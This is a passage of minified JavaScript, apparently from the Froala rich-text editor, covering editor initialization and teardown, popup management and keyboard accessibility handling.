if(l.o_doc.styleSheets[e].href&&(-1<l.o_doc.styleSheets[e].href.indexOf("codemirror")||-1<l.o_doc.styleSheets[e].href.indexOf("font-awesome")||-1<l.o_doc.styleSheets[e].href.indexOf("froala-editor"))){var i=c("<link rel='stylesheet' type='text/css' href='".concat(l.o_doc.styleSheets[e].href,"'>"));l.$head.append(i)}}}"auto"!==l.opts.direction&&l.$box.removeClass("fr-ltr fr-rtl").addClass("fr-".concat(l.opts.direction)),l.$el.attr("dir",l.opts.direction),l.$wp.attr("dir",l.opts.direction),1<l.opts.zIndex&&l.$box.css("z-index",l.opts.zIndex),l.opts.theme&&l.$box.addClass("".concat(l.opts.theme,"-theme")),l.opts.tabIndex=l.opts.tabIndex||l.$oel.attr("tabIndex"),l.opts.tabIndex&&l.$el.attr("tabIndex",l.opts.tabIndex)}return{_init:function r(){if(Z.INSTANCES.push(l),function e(){l.drag_support={filereader:"undefined"!=typeof FileReader,formdata:Boolean(l.win.FormData),progress:"upload"in new XMLHttpRequest}}(),l.$wp){n(),l.html.set(l._original_html),l.$el.attr("spellcheck",l.opts.spellcheck),l.helpers.isMobile()&&(l.$el.attr("autocomplete",l.opts.spellcheck?"on":"off"),l.$el.attr("autocorrect",l.opts.spellcheck?"on":"off"),l.$el.attr("autocapitalize",l.opts.spellcheck?"on":"off")),l.opts.disableRightClick&&l.events.$on(l.$el,"contextmenu",function(e){if(2===e.button)return e.preventDefault(),e.stopPropagation(),!1});try{l.doc.execCommand("styleWithCSS",!1,!1)}catch(t){}}"TEXTAREA"===l.$oel.get(0).tagName&&(l.events.on("contentChanged",function(){l.$oel.val(l.html.get())}),l.events.on("form.submit",function(){l.$oel.val(l.html.get())}),l.events.on("form.reset",function(){l.html.set(l._original_html)}),l.$oel.val(l.html.get())),l.helpers.isIOS()&&l.events.$on(l.$doc,"selectionchange",function(){l.$doc.get(0).hasFocus()||l.$win.get(0).focus()}),l.events.trigger("init"),l.opts.autofocus&&!l.opts.initOnClick&&l.$wp&&l.events.on("initialized",function(){l.events.focus(!0)})},destroy:function o(e){"TEXTAREA"===l.$oel.get(0).tagName&&l.$oel.val(e),l.$box&&l.$box.removeAttr("role"),l.$wp&&("TEXTAREA"===l.$oel.get(0).tagName?(l.$el.html(""),l.$wp.html(""),l.$box.replaceWith(l.$oel),l.$oel.show()):(l.$wp.replaceWith(e),l.$el.html(""),l.$box.removeClass("fr-view fr-ltr fr-box ".concat(l.opts.editorClass||"")),l.opts.theme&&l.$box.addClass("".concat(l.opts.theme,"-theme"))));var t=document.getElementById("default-styles");t&&t.childNodes.forEach(function(e){1<=e.data.search("default-styles-".concat(l.id))&&t.removeChild(e)}),this.$wp=null,this.$el=null,this.el=null,this.$box=null},isEmpty:function e(){return l.node.isEmpty(l.el)},getXHR:function i(e,t){var n=new XMLHttpRequest;for(var r in n.open(t,e,!0),l.opts.requestWithCredentials&&(n.withCredentials=!0),l.opts.requestHeaders)Object.prototype.hasOwnProperty.call(l.opts.requestHeaders,r)&&n.setRequestHeader(r,l.opts.requestHeaders[r]);return n},injectStyle:function a(e){if(l.opts.iframe){l.$head.find("style[data-fr-style], link[data-fr-style]").remove(),l.$head.append('<style data-fr-style="true">'.concat(e,"</style>"));for(var t=0;t<l.opts.iframeStyleFiles.length;t++){var n=c('<link data-fr-style="true" rel="stylesheet" href="'.concat(l.opts.iframeStyleFiles[t],'">'));n.get(0).addEventListener("load",l.size.syncIframe),l.$head.append(n)}}},hasFocus:function t(){return l.browser.mozilla&&l.helpers.isMobile()?l.selection.inEditor():l.node.hasFocus(l.el)||0<l.$el.find("*:focus").length},sameInstance:function s(e){if(!e)return!1;var t=e.data("instance");return!!t&&t.id===l.id}}},Z.POPUP_TEMPLATES={"text.edit":"[_EDIT_]"},Z.RegisterTemplate=function(e,t){Z.POPUP_TEMPLATES[e]=t},Z.MODULES.popups=function(u){var r,d=u.$;u.shared.popups||(u.shared.popups={});var h,g=u.shared.popups;function C(e,t){t.isVisible()||(t=u.$sc),t.is(g[e].data("container"))||(g[e].data("container",t),t.append(g[e]))}function o(e){var t;e.find(".fr-upload-progress").addClass("fr-height-set"),e.find(".fr-upload-progress").removeClass("fr-height-auto"),u.popups.get("filesManager.insert").removeClass("fr-height-auto"),e.find(".fr-files-upload-layer").hasClass("fr-active")&&(t=1),e.find(".fr-files-by-url-layer").hasClass("fr-active")&&(t=2),e.find(".fr-files-embed-layer").hasClass("fr-active")&&(t=3),e.find(".fr-upload-progress-layer").get(0).clientHeight+10<e.find(".fr-upload-progress").get(0).clientHeight&&e.find(".fr-upload-progress").addClass("fr-height-auto"),400<e[0].clientHeight&&(e[0].childNodes[4].style.height="".concat(e[0].clientHeight-(e[0].childNodes[0].clientHeight+e[0].childNodes[t].clientHeight)-80,"px"))}var i=2e3;function a(){d(this).toggleClass("fr-not-empty",!0)}function s(){var e=d(this);e.toggleClass("fr-not-empty",""!==e.val())}function m(e){return g[e]&&u.node.hasClass(g[e],"fr-active")&&u.core.sameInstance(g[e])||!1}function v(e){for(var t in g)if(Object.prototype.hasOwnProperty.call(g,t)&&m(t)&&(void 0===e||g[t].data("instance")===e))return g[t];return!1}function n(e){var t=null;if(t="string"!=typeof e?e:g[e],"filesManager.insert"===e&&u.filesManager!==undefined&&u.filesManager.isChildWindowOpen())return!1;if(t&&u.node.hasClass(t,"fr-active")&&(t.removeClass("fr-active fr-above"),u.events.trigger("popups.hide.".concat(e)),u.$tb&&(1<u.opts.zIndex?u.$tb.css("zIndex",u.opts.zIndex+1):u.$tb.css("zIndex","")),u.events.disableBlur(),t.find("input, textarea, button").each(function(){this===this.ownerDocument.activeElement&&this.blur()}),t.find("input, textarea").attr("disabled","disabled"),h))for(var n=0;n<h.length;n++)d(h[n]).removeClass("fr-btn-active-popup")}function b(e){for(var t in void 0===e&&(e=[]),g)Object.prototype.hasOwnProperty.call(g,t)&&e.indexOf(t)<0&&n(t)}function t(){u.shared.exit_flag=!0}function L(){u.shared.exit_flag=!1}function l(){return u.shared.exit_flag}function c(e,t){var n,r=function c(e,t){var n=Z.POPUP_TEMPLATES[e];if(!n)return null;for(var r in"function"==typeof n&&(n=n.apply(u)),t)Object.prototype.hasOwnProperty.call(t,r)&&(n=n.replace("[_".concat(r.toUpperCase(),"_]"),t[r]));return n}(e,t),o=d(u.doc.createElement("DIV"));if(!r)return"filesManager.insert"===e?o.addClass("fr-popup fr-files-manager fr-empty"):o.addClass("fr-popup fr-empty"),(n=d("body").first()).append(o),o.data("container",n),g[e]=o;"filesManager.insert"===e?o.addClass("fr-popup fr-files-manager".concat(u.helpers.isMobile()?" fr-mobile":" fr-desktop").concat(u.opts.toolbarInline?" fr-inline":"")):o.addClass("fr-popup".concat(u.helpers.isMobile()?" fr-mobile":" fr-desktop").concat(u.opts.toolbarInline?" fr-inline":"")),o.html(r),u.opts.theme&&o.addClass("".concat(u.opts.theme,"-theme")),1<u.opts.zIndex&&(!u.opts.editInPopup&&u.$tb?u.$tb.css("z-index",u.opts.zIndex+2):o.css("z-index",u.opts.zIndex+2)),"auto"!==u.opts.direction&&o.removeClass("fr-ltr fr-rtl").addClass("fr-".concat(u.opts.direction)),o.find("input, textarea").attr("dir",u.opts.direction).attr("disabled","disabled"),(n=d("body").first()).append(o),o.data("container",n);var i=(g[e]=o).find(".fr-color-hex-layer");if(0<i.length){var a=u.helpers.getPX(o.find(".fr-color-set > span").css("width")),s=u.helpers.getPX(i.css("paddingLeft")),l=u.helpers.getPX(i.css("paddingRight"));i.css("width",a*u.opts.colorsStep+s+l)}return u.button.bindCommands(o,!1),o}function E(a){var s=g[a];return{_windowResize:function(){var e=s.data("instance")||u;if(!e.helpers.isMobile()&&s.isVisible()){var t=s.find(".fr-file-progress-bar-layer");if("file.insert"===a&&0<t.length&&t.hasClass("fr-active")){var n=u.$tb.find('.fr-command[data-cmd="insertFile"]');e.events.disableBlur();var r=u.button.getPosition(n),o=r.left,i=r.top;u.position.at(o,i,g[a],0),e.events.enableBlur()}else e.events.disableBlur(),e.popups.hide(a),e.events.enableBlur()}},_inputFocus:function(e){var t=s.data("instance")||u,n=d(e.currentTarget);if(n.is("input:file")&&n.closest(".fr-layer").addClass("fr-input-focus"),e.preventDefault(),e.stopPropagation(),setTimeout(function(){t.events.enableBlur()},100),t.helpers.isMobile()){var r=d(t.o_win).scrollTop();setTimeout(function(){d(t.o_win).scrollTop(r)},0)}},_inputBlur:function(e){var t=s.data("instance")||u,n=d(e.currentTarget);n.is("input:file")&&n.closest(".fr-layer").removeClass("fr-input-focus"),document.activeElement!==this&&d(this).isVisible()&&(t.events.blurActive()&&t.events.trigger("blur"),t.events.enableBlur())},_editorKeydown:function(e){var t=s.data("instance")||u;t.keys.ctrlKey(e)||e.which===Z.KEYCODE.ALT||e.which===Z.KEYCODE.ESC||(m(a)&&s.findVisible(".fr-back").length?t.button.exec(s.findVisible(".fr-back").first()):e.which!==Z.KEYCODE.ALT&&t.popups.hide(a))},_preventFocus:function(e){var t=s.data("instance")||u,n=e.originalEvent?e.originalEvent.target||e.originalEvent.originalTarget:null;"mouseup"===e.type||d(n).is(":focus")||t.events.disableBlur(),"mouseup"!==e.type||d(n).hasClass("fr-command")||0<d(n).parents(".fr-command").length||d(n).hasClass("fr-dropdown-content")||d(n).hasClass("fr-dropdown-menu")||u.button.hideActiveDropdowns(s),(u.browser.safari||u.browser.mozilla)&&"mousedown"===e.type&&d(n).is("input[type=file]")&&t.events.disableBlur();var r="input, textarea, button, select, label, .fr-command";if(n&&!d(n).is(r)&&0===d(n).parents(r).length)return e.stopPropagation(),!1;n&&d(n).is(r)&&e.stopPropagation(),L()},_editorMouseup:function(){s.isVisible()&&l()&&0<s.findVisible("input:focus, textarea:focus, button:focus, select:focus").length&&u.events.disableBlur()},_windowMouseup:function(e){if(!u.core.sameInstance(s))return!0;var t=s.data("instance")||u;s.isVisible()&&l()&&(e.stopPropagation(),t.markers.remove(),t.popups.hide(a),L())},_windowKeydown:function(e){if(!u.core.sameInstance(s))return!0;var t=s.data("instance")||u,n=e.which;if(Z.KEYCODE.ESC===n){if(t.popups.isVisible(a)&&t.opts.toolbarInline)return e.stopPropagation(),t.popups.isVisible(a)&&(s.findVisible(".fr-back").length?(t.button.exec(s.findVisible(".fr-back").first()),t.accessibility.focusPopupButton(s)):s.findVisible(".fr-dismiss").length?t.button.exec(s.findVisible(".fr-dismiss").first()):(t.popups.hide(a),t.toolbar.showInline(null,!0),t.accessibility.focusPopupButton(s))),!1;if(t.popups.isVisible(a))return s.findVisible(".fr-back").length?(t.button.exec(s.findVisible(".fr-back").first),t.accessibility.focusPopupButton(s)):s.findVisible(".fr-dismiss").length?t.button.exec(s.findVisible(".fr-dismiss").first()):(t.popups.hide(a),t.accessibility.focusPopupButton(s)),!1}},_repositionPopup:function(){if(!u.opts.height&&!u.opts.heightMax||u.opts.toolbarInline)return!0;if(u.$wp&&m(a)&&s.parent().get(0)===u.$sc.get(0)){var e=s.offset().top-u.$wp.offset().top,t=u.$wp.outerHeight();u.node.hasClass(s.get(0),"fr-above")&&(e+=s.outerHeight()),t<e||e<0?s.addClass("fr-hidden"):s.removeClass("fr-hidden")}},handleWindowClick:function(e){if(!u.core.sameInstance(s))return!0;var t=s.data("instance")||u;s.isVisible()&&e.target&&(0<d(e.target).find("body").length||"BODY"===d(e.target)[0].tagName)&&(e.stopPropagation(),t.popups.hide(a))}}}function f(e,t){u.events.on("mouseup",e._editorMouseup,!0),u.$wp&&u.events.on("keydown",e._editorKeydown),u.events.on("focus",function(){g[t].removeClass("focused")}),u.events.on("blur",function(){v()&&u.markers.remove(),u.helpers.isMobile()?g[t].hasClass("focused")?(b(),g[t].removeClass("focused")):g[t].addClass("focused"):g[t].find("iframe").length||b()}),u.$wp&&!u.helpers.isMobile()&&u.events.$on(u.$wp,"scroll.popup".concat(t),e._repositionPopup),u.events.on("window.mouseup",e._windowMouseup,!0),u.events.on("window.keydown",e._windowKeydown,!0),u.opts.iframe&&window.addEventListener("click",e.handleWindowClick),g[t].data("inst".concat(u.id),!0),u.events.on("destroy",function(){u.core.sameInstance(g[t])&&(d("body").first().append(g[t]),g[t].removeClass("fr-active"))},!0)}function p(){var e=d(this).prev().children().first();e.attr("checked",!e.attr("checked"))}function e(){for(var e in g)if(Object.prototype.hasOwnProperty.call(g,e)){var t=g[e];t&&(t.html("").removeData().remove(),g[e]=null)}g=[]}return u.shared.exit_flag=!1,{_init:function y(){r=window.innerHeight,u.events.on("shared.destroy",e,!0),u.events.on("window.mousedown",t),u.events.on("window.touchmove",L),u.events.$on(d(u.o_win),"scroll",L),u.events.on("mousedown",function(e){v()&&(e.stopPropagation(),u.$el.find(".fr-marker").remove(),t(),u.events.disableBlur())})},create:function S(e,t){var n=c(e,t),r=E(e);f(r,e),u.events.$on(n,"mousedown mouseup touchstart touchend touch","*",r._preventFocus,!0),u.events.$on(n,"focus","input, textarea, button, select",r._inputFocus,!0),u.events.$on(n,"blur","input, textarea, button, select",r._inputBlur,!0);var o=n.find("input, textarea");return function i(e){for(var t=0;t<e.length;t++){var n=e[t],r=d(n);0===r.next().length&&r.attr("placeholder")&&(r.after('<label for="'.concat(r.attr("id"),'">').concat(r.attr("placeholder"),"</label>")),r.attr("placeholder",""))}}(o),u.events.$on(o,"focus",a),u.events.$on(o,"blur change",s),u.events.$on(n,"click",".fr-checkbox + label",p),u.accessibility.registerPopup(e),u.helpers.isIOS()&&u.events.$on(n,"touchend","label",function(){d("#".concat(d(this).attr("for"))).prop("checked",function(e,t){return!t})},!0),u.events.$on(d(u.o_win),"resize",r._windowResize,!0),"filesManager.insert"===e&&g["filesManager.insert"].css("zIndex",2147483641),n},get:function N(e){var t=g[e];return t&&!t.data("inst".concat(u.id))&&f(E(e),e),t},show:function T(e,t,n,r,o){if(m(e)||(v()&&0<u.$el.find(".fr-marker").length?(u.events.disableBlur(),u.selection.restore()):v()||(u.events.disableBlur(),u.events.focus(),u.events.enableBlur())),b([e]),!g[e])return!1;var i=u.button.getButtons(".fr-dropdown.fr-active");i.removeClass("fr-active").attr("aria-expanded",!1).parents(".fr-toolbar").css("zIndex","").find("> .fr-dropdown-wrapper").css("height",""),i.next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),g[e].data("instance",u),u.$tb&&u.$tb.data("instance",u);var a=m(e);g[e].addClass("fr-active").removeClass("fr-hidden").find("input, textarea").removeAttr("disabled");var s=g[e].data("container");if(function p(e,t){t.isVisible()||(t=u.$sc),t.contains([g[e].get(0)])||t.append(g[e])}(e,s),u.opts.toolbarInline&&s&&u.$tb&&s.get(0)===u.$tb.get(0)&&(C(e,u.$sc),n=u.$tb.offset().top-u.helpers.getPX(u.$tb.css("margin-top")),t=u.$tb.offset().left+u.$tb.outerWidth()/2,u.node.hasClass(u.$tb.get(0),"fr-above")&&n&&(n+=u.$tb.outerHeight()),r=0),s=g[e].data("container"),u.opts.iframe&&!r&&!a){var l=u.helpers.getPX(u.$wp.find(".fr-iframe").css("padding-top")),c=u.helpers.getPX(u.$wp.find(".fr-iframe").css("padding-left"));t&&(t-=u.$iframe.offset().left+c),n&&(n-=u.$iframe.offset().top+l)}s.is(u.$tb)?u.$tb.css("zIndex",(u.opts.zIndex||1)+4):g[e].css("zIndex",(u.opts.zIndex||1)+3),u.opts.toolbarBottom&&s&&u.$tb&&s.get(0)===u.$tb.get(0)&&(g[e].addClass("fr-above"),n&&(n-=g[e].outerHeight())),o&&(t-=g[e].width()/2),t+g[e].outerWidth()>u.$sc.offset().left+u.$sc.width()&&(t-=t+g[e].outerWidth()-u.$sc.offset().left-u.$sc.width()),t<u.$sc.offset().left&&"rtl"===u.opts.direction&&(t=u.$sc.offset().left),g[e].removeClass("fr-active"),u.position.at(t,n,g[e],r||0);var d=u.node.blockParent(u.selection.blocks()[0]);if(d&&"false"===d.getAttribute("contenteditable"))g[e].removeClass("fr-active");else{var f=u.selection.element().parentElement.getAttribute("contenteditable");f&&"false"===f?g[e].removeClass("fr-active"):g[e].addClass("fr-active")}a||u.accessibility.focusPopup(g[e]),u.opts.toolbarInline&&u.toolbar.hide(),u.$tb&&(h=u.$tb.find(".fr-btn-active-popup")),u.events.trigger("popups.show.".concat(e)),E(e)._repositionPopup(),L()},hide:n,onHide:function M(e,t){u.events.on("popups.hide.".concat(e),t)},hideAll:b,setContainer:C,refresh:function A(e){g[e].data("instance",u),u.events.trigger("popups.refresh.".concat(e));for(var t=g[e].find(".fr-command"),n=0;n<t.length;n++){var r=d(t[n]);0===r.parents(".fr-dropdown-menu").length&&u.button.refresh(r)}},onRefresh:function x(e,t){u.events.on("popups.refresh.".concat(e),t)},onShow:function w(e,t){u.events.on("popups.show.".concat(e),t)},isVisible:m,setFileListHeight:o,areVisible:v,setPopupDimensions:function O(e,t){t&&e.find(".fr-upload-progress-layer").get(0).clientHeight<i&&(e.find(".fr-upload-progress").addClass("fr-height-auto"),u.popups.get("filesManager.insert").addClass("fr-height-auto"),e.find(".fr-upload-progress").removeClass("fr-height-set"),i=2e3),e.get(0).clientHeight>window.innerHeight/2&&(window.innerWidth<500?e.get(0).clientHeight>.6*r&&o(e):400<e.get(0).clientHeight&&o(e),i=e.find(".fr-upload-progress-layer").get(0).clientHeight);var n=window.innerWidth;switch(!0){case n<=320:e.width(200);break;case n<=420:e.width(250);break;case n<=520:e.width(300);break;case n<=720:e.width(400);break;case 720<n:e.width(530)}}}},Z.MODULES.accessibility=function(f){var l,p=f.$,i=!0;function c(t){for(var e=f.$el.find('[contenteditable="true"]'),n=!1,r=0;e.get(r);)p(e.get(r)).is(":focus")&&(n=!0),r++;if(t&&t.length&&!n){t.data("blur-event-set")||t.parents(".fr-popup").length||(f.events.$on(t,"blur",function(){var e=t.parents(".fr-toolbar, .fr-popup").data("instance")||f;e.events.blurActive()&&!f.core.hasFocus()&&e.events.trigger("blur"),setTimeout(function(){e.events.enableBlur()},100)},!0),t.data("blur-event-set",!0));var o=t.parents(".fr-toolbar, .fr-popup").data("instance")||f;!f.browser.safari||l&&null!=f.shared.safariSelection||(f.shared.safariSelection=f.selection.get().getRangeAt(0).cloneRange()),o.events.disableBlur(),t.get(0).focus(),f.shared.$f_el=t}}function u(e,t){var n=t?"last":"first",r=s(C(e))[n]();if(r.length)return c(r),!0}function a(e){return e.is("input, textarea, select")&&t(),f.events.disableBlur(),e.get(0).focus(),!0}function h(e,t){var n=e.find("input, textarea, button, select, span").filter(function(){return p(this).isVisible()}).not(":disabled"),r=n.first();if((n=r.parents(".fr-color-set").get(0)&&r.parents(".fr-popup").get(0)?n.filter("input"):t?n.last():n.first()).length)return a(n);if(f.shared.with_kb){var o=e.findVisible(".fr-active-item").first();if(o.length)return a(o);var i=e.findVisible("[tabIndex]").first();if(i.length)return a(i)}}function t(){0===f.$el.find(".fr-marker").length&&f.core.hasFocus()&&f.selection.save()}function d(){var e=f.popups.areVisible();if(e){var t=e.find(".fr-buttons");return t.find("button:focus, .fr-group span:focus").length?!u(e.data("instance").$tb):!u(t)}return!u(f.$tb)}function g(){var e=null;return f.shared.$f_el.is(".fr-dropdown.fr-active")?e=f.shared.$f_el:f.shared.$f_el.closest(".fr-dropdown-menu").prev().is(".fr-dropdown.fr-active")&&(e=f.shared.$f_el.closest(".fr-dropdown-menu").prev()),e}function s(e){for(var t=-1,n=0;n<e.length;n++)p(e[n]).hasClass("fr-open")&&(t=n);var r=e.index(f.$tb.find(".fr-more-toolbar.fr-expanded > button.fr-command").first());if(0<r&&-1!==t){var o=e.slice(r,e.length),i=(e=e.slice(0,r)).slice(0,t+1),a=e.slice(t+1,e.length);e=i;for(var s=0;s<o.length;s++)e.push(o[s]);for(var l=0;l<a.length;l++)e.push(a[l])}return e}function C(e){return e.findVisible("button:not(.fr-disabled), .fr-group span.fr-command").filter(function(e){var t=p(e).parents(".fr-more-toolbar");return 0===t.length||0<t.length&&t.hasClass("fr-expanded")})}function n(e,t,n){if(f.shared.$f_el){var r=g();r&&(f.button.click(r),f.shared.$f_el=r);var o=s(C(e)),i=o.index(f.shared.$f_el);if(0===i&&!n||i===o.length-1&&n){var a;if(t){if(e.parent().is(".fr-popup"))a=!h(e.parent().children().not(".fr-buttons"),!n);!1===a&&(f.shared.$f_el=null)}t&&!1===a||u(e,!n)}else c(p(o.get(i+(n?1:-1))));return!1}}function m(e,t){return n(e,t,!0)}function v(e,t){return n(e,t)}function b(e){if(f.shared.$f_el){var t;if(f.shared.$f_el.is(".fr-dropdown.fr-active"))return c(t=e?f.shared.$f_el.next().find(".fr-command:not(.fr-disabled)").first():f.shared.$f_el.next().find(".fr-command:not(.fr-disabled)").last()),!1;if(f.shared.$f_el.is("a.fr-command"))return(t=e?f.shared.$f_el.closest("li").nextAllVisible().first().find(".fr-command:not(.fr-disabled)").first():f.shared.$f_el.closest("li").prevAllVisible().first().find(".fr-command:not(.fr-disabled)").first()).length||(t=e?f.shared.$f_el.closest(".fr-dropdown-menu").find(".fr-command:not(.fr-disabled)").first():f.shared.$f_el.closest(".fr-dropdown-menu").find(".fr-command:not(.fr-disabled)").last()),c(t),!1}}function L(){if(f.shared.$f_el){if(f.shared.$f_el.hasClass("fr-dropdown"))f.button.click(f.shared.$f_el);else if(f.shared.$f_el.is("button.fr-back")){f.opts.toolbarInline&&(f.events.disableBlur(),f.events.focus());var e=f.popups.areVisible(f);e&&(f.shared.with_kb=!1),f.button.click(f.shared.$f_el),y(e)}else{if(f.events.disableBlur(),f.button.click(f.shared.$f_el),f.shared.$f_el.attr("data-group-name")){var t=f.$tb.find('.fr-more-toolbar[data-name="'.concat(f.shared.$f_el.attr("data-group-name"),'"]')),n=f.shared.$f_el;t.hasClass("fr-expanded")&&(n=t.findVisible("button:not(.fr-disabled)").first()),n&&c(n)}else if(f.shared.$f_el.attr("data-popup")){var r=f.popups.areVisible(f);r&&r.data("popup-button",f.shared.$f_el)}else if(f.shared.$f_el.attr("data-modal")){var o=f.modals.areVisible(f);o&&o.data("modal-button",f.shared.$f_el)}f.shared.$f_el=null}return!1}}function E(){if(f.shared.$f_el&&(f.events.disableBlur(),f.shared.$f_el.blur(),f.shared.$f_el=null),!1!==f.events.trigger("toolbar.focusEditor")&&(f.events.disableBlur(),f.$el.get(0).focus(),f.events.focus(),f.browser.safari&&f.shared.safariSelection)){var e=f.shared.safariSelection,t=e.startContainer,n=e.endContainer,r=e.startOffset,o=e.endOffset,i=f.doc.createRange();i.setStart(t,r),i.setEnd(n,o),f.selection.get().removeAllRanges(),f.selection.get().addRange(i),f.shared.safariSelection=null}}function o(r){r&&r.length&&(f.events.$on(r,"keydown",function(e){if(!p(e.target).is("a.fr-command, button.fr-command, .fr-group span.fr-command"))return!0;var t=r.parents(".fr-popup").data("instance")||r.data("instance")||f;f.shared.with_kb=!0;var n=t.accessibility.exec(e,r);return f.shared.with_kb=!1,n},!0),f.events.$on(r,"mouseenter","[tabIndex]",function(e){var t=r.parents(".fr-popup").data("instance")||r.data("instance")||f;if(!i)return e.stopPropagation(),void e.preventDefault();var n=p(e.currentTarget);t.shared.$f_el&&t.shared.$f_el.not(n)&&t.accessibility.focusEditor()},!0),f.$tb&&f.events.$on(f.$tb,"transitionend",".fr-more-toolbar",function(){f.shared.$f_el=p(document.activeElement)}))}function y(e){var t=e.data("popup-button");t&&setTimeout(function(){c(t),e.data("popup-button",null)},0)}function S(e){var t=f.popups.areVisible(e);t&&t.data("popup-button",null)}function e(e){var t=-1!==navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey;if(e.which!==Z.KEYCODE.F10||t||e.shiftKey||!e.altKey)return!0;f.shared.with_kb=!0;var n=f.popups.areVisible(f),r=!1;return n&&(r=h(n.children().not(".fr-buttons"))),r||d(),f.shared.with_kb=!1,e.preventDefault(),e.stopPropagation(),!1}return{_init:function r(){f.$wp?f.events.on("keydown",e,!0):f.events.$on(f.$win,"keydown",e,!0),f.events.on("mousedown",function(e){S(f),f.shared.$f_el&&f.el.isSameNode(f.shared.$f_el[0])&&(f.accessibility.restoreSelection(),e.stopPropagation(),f.events.disableBlur(),f.shared.$f_el=null)},!0),f.events.on("blur",function(){f.shared.$f_el=null,S(f)},!0)},registerPopup:function N(e){var t=f.popups.get(e),n=function r(c){var d=f.popups.get(c);return{_tiKeydown:function(e){var t=d.data("instance")||f;if(!1===t.events.trigger("popup.tab",[e]))return!1;var n=e.which,r=d.find(":focus").first();if(Z.KEYCODE.TAB===n){e.preventDefault();var o=d.children().not(".fr-buttons"),i=o.findVisible("input, textarea, button, select").not(".fr-no-touch input, .fr-no-touch textarea, .fr-no-touch button, .fr-no-touch select, :disabled").toArray(),a=i.indexOf(this)+(e.shiftKey?-1:1);if(0<=a&&a<i.length)return t.events.disableBlur(),p(i[a]).focus(),e.stopPropagation(),!1;var s=d.find(".fr-buttons");if(s.length&&u(s,Boolean(e.shiftKey)))return e.stopPropagation(),!1;if(h(o))return e.stopPropagation(),!1}else{if(Z.KEYCODE.ENTER!==n||!e.target||"TEXTAREA"===e.target.tagName)return Z.KEYCODE.ESC===n?(e.preventDefault(),e.stopPropagation(),t.accessibility.restoreSelection(),t.popups.isVisible(c)&&d.findVisible(".fr-back").length?(t.opts.toolbarInline&&(t.events.disableBlur(),t.events.focus()),t.button.exec(d.findVisible(".fr-back").first()),y(d)):t.popups.isVisible(c)&&d.findVisible(".fr-dismiss").length?t.button.exec(d.findVisible(".fr-dismiss").first()):(t.popups.hide(c),t.opts.toolbarInline&&t.toolbar.showInline(null,!0),y(d)),!1):Z.KEYCODE.SPACE===n&&(r.is(".fr-submit")||r.is(".fr-dismiss"))?(e.preventDefault(),e.stopPropagation(),t.events.disableBlur(),t.button.exec(r),!0):t.keys.isBrowserAction(e)?void e.stopPropagation():r.is("input[type=text], textarea")?void e.stopPropagation():Z.KEYCODE.SPACE===n&&(r.is(".fr-link-attr")||r.is("input[type=file]"))?void e.stopPropagation():(e.stopPropagation(),e.preventDefault(),!1);var l=null;0<d.findVisible(".fr-submit").length?l=d.findVisible(".fr-submit").first():d.findVisible(".fr-dismiss").length&&(l=d.findVisible(".fr-dismiss").first()),l&&(e.preventDefault(),e.stopPropagation(),t.events.disableBlur(),t.button.exec(l))}},_tiMouseenter:function(){var e=d.data("instance")||f;S(e)}}}(e);o(t.find(".fr-buttons")),f.events.$on(t,"mouseenter","tabIndex",n._tiMouseenter,!0),f.events.$on(t.children().not(".fr-buttons"),"keydown","[tabIndex]",n._tiKeydown,!0),f.popups.onHide(e,function(){(t.data("instance")||f).accessibility.restoreSelection()}),f.popups.onShow(e,function(){i=!1,setTimeout(function(){i=!0},0)})},registerToolbar:o,focusToolbarElement:c,focusToolbar:u,focusContent:h,focusPopup:function T(r){var o=r.children().not(".fr-buttons");o.data("mouseenter-event-set")||(f.events.$on(o,"mouseenter","[tabIndex]",function(e){var t=r.data("instance")||f;if(!i)return e.stopPropagation(),void e.preventDefault();var n=o.find(":focus").first();n.length&&!n.is("input, button, textarea, select")&&(t.events.disableBlur(),n.blur(),t.events.disableBlur(),t.events.focus())}),o.data("mouseenter-event-set",!0)),!h(o)&&f.shared.with_kb&&u(r.find(".fr-buttons"))},focusModal:function M(e){f.core.hasFocus()||(f.events.disableBlur(),f.events.focus()),f.accessibility.saveSelection(),f.events.disableBlur(),f.el.blur(),f.selection.clear(),f.events.disableBlur(),f.shared.with_kb?e.find(".fr-command[tabIndex], [tabIndex]").first().focus():e.find("[tabIndex]").first().focus()},focusEditor:E,focusPopupButton:y,focusModalButton:function A(e){var t=e.data("modal-button");t&&setTimeout(function(){c(t),e.data("modal-button",null)},0)},hasFocus:function x(){return null!==f.shared.$f_el},exec:function w(e,t){var n=-1!==navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,r=e.which,o=!1;return r!==Z.KEYCODE.TAB||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.ARROW_RIGHT||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.TAB||n||!e.shiftKey||e.altKey?r!==Z.KEYCODE.ARROW_LEFT||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.ARROW_UP||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.ARROW_DOWN||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.ENTER&&r!==Z.KEYCODE.SPACE||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.ESC||n||e.shiftKey||e.altKey?r!==Z.KEYCODE.F10||n||e.shiftKey||!e.altKey||(o=d()):o=function i(e){if(f.shared.$f_el){var t=g();return t?(f.button.click(t),c(t)):e.parent().findVisible(".fr-back").length?(f.shared.with_kb=!1,f.opts.toolbarInline&&(f.events.disableBlur(),f.events.focus()),f.button.exec(e.parent().findVisible(".fr-back")).first(),y(e.parent())):f.shared.$f_el.is("button, .fr-group span")&&(e.parent().is(".fr-popup")?(f.accessibility.restoreSelection(),f.shared.$f_el=null,!1!==f.events.trigger("toolbar.esc")&&(f.popups.hide(e.parent()),f.opts.toolbarInline&&f.toolbar.showInline(null,!0),y(e.parent()))):E()),!1}}(t):o=L():o=function a(){return f.shared.$f_el&&f.shared.$f_el.is(".fr-dropdown:not(.fr-active)")?L():b(!0)}():o=function s(){return b()}():o=v(t):o=v(t,!0):o=m(t):(l=r,o=m(t,!0)),f.shared.$f_el||void 0!==o||(o=!0),!o&&f.keys.isBrowserAction(e)&&(o=!0),!!o||(e.preventDefault(),e.stopPropagation(),!1)},saveSelection:t,restoreSelection:function O(){f.$el.find(".fr-marker").length&&(f.events.disableBlur(),f.selection.restore(),f.events.enableBlur())}}},Object.assign(Z.DEFAULTS,{tooltips:!0}),Z.MODULES.tooltip=function(p){var u=p.$;function 